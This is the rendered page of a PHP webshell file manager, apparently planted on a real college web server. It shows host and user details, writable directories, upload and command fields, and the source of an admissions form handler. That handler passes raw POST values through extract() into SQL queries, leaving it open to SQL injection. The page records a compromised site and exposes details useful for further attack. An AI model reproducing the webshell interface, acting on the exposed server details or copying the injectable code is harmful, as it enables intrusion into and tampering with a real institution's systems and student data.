403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.241.66
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/entranceform/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/entranceform/olevel_edit_process.php
<?php
/**
 * Created by PhpStorm.
 * User: adisa
 * Date: 2016-05-07
 * Time: 05:32 PM
 */
ob_start();
session_start();
extract($_POST);
 $formNo=$_SESSION['formNo'];
 $formType=$_SESSION['formType'];
//echo $examNo1;
$result1='';
$result2='';
$num_count1=0;
$num_count2=0;
$total_olevel=0;
//echo $sub1[8];
for ($h=0;$h<10;++$h){
    if (isset($sub1[$h])){
        if ((isset($res1[$h])) and ($res1[$h]<>'0')) {//and ($res1[$h]=='0' )){
            // header('location:'.'apply.php?id=1');
            //echo 'item';
            $num_count1+=1;
            $result1 .= $sub1[$h] . '-' . $res1[$h] . ' , ';
            echo '<br>';
        }
    }
}
//echo $result1;
for ($h=0;$h<10;++$h) {
    if (isset($sub2[$h])) {//($sub2[$h]!='0' )){
        if ((isset($res2[$h])) and ($res2[$h] <> '0')) {//($res2[$h]=='0' )){
            //header('location:'.'apply.php?id=1');
            $num_count2 += 1;
            $result2 .= $sub2[$h] . '-' . $res2[$h] . ' , ';
        }
    }
}
echo $result1.'='.$num_count1;
echo $result2.'='.$num_count2;

$_SESSION['total_olevel']=$total_olevel=$num_count1+$num_count2;
//$eYear1=$month1.'/'.$year1;
//$eYear2=$month2.'/'.$year2;

if ($total_olevel==1) {
    header('location:olevel_edit.php?id=1');

}else{

    if ($result2<>'') {
        $noOfResult = 2;
        $material_namePix2=$_FILES['olevelPix2']['name'];
     /*   if((!$material_namePix2)and ($formType=="utmeForm")){
            header('location:olevel_edit.php?id=2');

        }
        $material_typePix2=$_FILES['olevelPix2']['type'];
        $material_tmpPix2=$_FILES['olevelPix2']['tmp_name'];
        $material_sizePix2=$_FILES['olevelPix2']['size'];
        $oldPix2=$_FILES['olevelPix2']['tmp_name'];
        $newPix2="../olevelScanned/".$formNo."_2.jpg";
        move_uploaded_file($oldPix2,$newPix2);
*/


    } else {
        $noOfResult = 1;
    }
  require_once('../connect.php');
    $db = db_connect();
    $sql_check = "select * from preolevel where formNo='$formNo'";
    $result_check = $db->query($sql_check);
    $num_check = $result_check->rowCount();
    if ($num_check ==1) {

         $asp="UPDATE `fedpoly`.`preolevel` SET `olevel1` = '$result1', `examNo1` = '$examNo1',`eYear1` = '$eYear1',`schoolName` = '0',`eType1` = '$eType1',`noOfResult` = '$noOfResult',`olevel2` = '$result2',`examNo2` = '$examNo2',`eYear2` = '$eYear2',`eType2` = '$eType2' WHERE `preolevel`.`formNo` = '$formNo'";
//        die();
        $db->query($asp);
        header('location:'.'olevel_edit.php?id=6');
    }

}
ob_end_flush();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit